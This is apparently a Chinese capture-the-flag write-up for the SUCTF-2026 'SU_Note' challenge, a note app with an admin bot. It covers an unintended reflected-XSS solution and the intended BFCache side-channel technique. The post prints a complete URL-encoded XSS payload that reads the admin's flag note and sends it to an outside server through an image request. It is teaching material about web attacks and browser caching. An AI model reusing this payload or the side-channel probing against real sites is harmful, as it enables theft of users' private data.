BFCache 侧信道攻击

Sat, 11 Apr 2026 18:00:07 +0800

BFCache 侧信道攻击 (SUCTF-2026 SU_Note)

从未想过的攻击思路，原题来自SUCTF-2026的SU_Note

关于题目

题目简述

这个题目是一个笔记系统，用户登录，发布笔记，可以模糊搜索自己写的笔记，flag在admin用户(用户名/密码随机)的笔记里面

另外内置了一个chrome，写了一个bot.js用puppeteer-core去访问指定的url，网站部署在http://127.0.0.1:10003/，bot部署在内部80端口，用的是admin的身份

非预期解

在search里面搜索一个</script><script>alert(1)</script>提示1，说明有xss漏洞

然后我们只要让bot用admin的身份去访问本地的search路由，执行js，把搜索到的数据外带就可以了，这里我选择让他加载图片，访问我服务器的/leak?f=

payload如下 http://127.0.0.1:80/search.php?q=%3C%2Fscript%3E%3Cscript%3Etry%7Bfunction%20G(u)%7Bvar%20x%3Dnew%20XMLHttpRequest()%3Bx.open('GET'%2Cu%2Cfalse)%3Bx.send()%3Breturn%20x.responseText%3B%7Dfunction%20F(t)%7Bvar%20a%3Dt.indexOf('SUCTF%7B')%3Bif(a%3C0)return''%3Bvar%20b%3Dt.indexOf('%7D'%2Ca)%3Breturn%20b%3E%3Da%3Ft.slice(a%2Cb%2B1)%3A''%3B%7Dvar%20note%3DG('%2F%3Fnote%3D__system_flag_note__')%3Bvar%20flag%3DF(note)%3B(new%20Image()).src%3D'https%3A%2F%2Fpencilfishdaydream.fun%2Fleak%3Ff%3D'%2BencodeURIComponent(flag)%3B%7Dcatch(e)%7B%7D%3C%2Fscript%3E

预期解法

看了下面自然就知道了

关于BFCache 侧信道攻击

BFCache(Back/Forward Cache)

这个缓存存的是，在浏览器中点击前进和后退时弹出的界面。

当你离开一个页面的时候，BFCache会把当前状态保存进内存，当你Back回来之后不走任何网络请求，也不走传统的 HTTP 硬盘缓存

no-store(绝对不缓存)

no-store 是HTTP响应头Cache-Cobtrol中的一个指令(Cache-Control:no-store)，就是让浏览器及中间网关不要缓存他，每一次访问都要走网络，此指令应适用于包含敏感数据的网页（例如用户登录后的网页）

no-store是缓存存都不能存，no-cache是可以存，但使用前必须验证，如果服务器发回来304就直接用缓存

unload(页面卸载事件)

当你离开页面的时候，如果写了如

1
2
3

window.addEventListener("unload", function (event) {
  // 执行一些清理工作，比如发送统计数据、清理 Cookie 等
});

的函数，如果这个代码触发了，也就是注册了unload，那在新旧的政策下都是不进入BFCache的

解释

传统的情况是，如果HTML页面设置了 Cache-Control: no-store, Chrome就会完全禁止其生成BFCache，但是在近两年的政策中：

`1`	Chrome 正在进行一项更改，以允许在安全的情况下对使用 Cache-Control: no-store 的网页使用往返缓存 (bfcache)。`

而unload 事件与 BFCache的互斥现在仍然存在

另外，BFCache和缓存数量有上限(常见为6)，满了之后通过LRU(最近最少使用)机制淘汰，而通过监听pageshow的persisted属性可以判断这个页面是不是从BFCache中恢复的

通过上面的信息可知，“如果目标网站的某个操作（如搜索是否命中）会导致页面源码产生差异（例如命中时不注册 unload，未命中时注册了 unload），我们就可以利用侧信道来探测这个差异

可以通过连续加入新的BFCache，之后再返回来检查最远的页面的缓存是否被踢掉来判断，之前的判断条件是否成立，或者进一步实现布尔盲注

碎碎念

这个题当时虽然被非预期麻了，但是他dockerfile和entrypoint.sh写得非常成熟老练，学到了很多脚本的用法,话说我好像已经两个季度没有追番了，好累啊

BFCache on Fish Site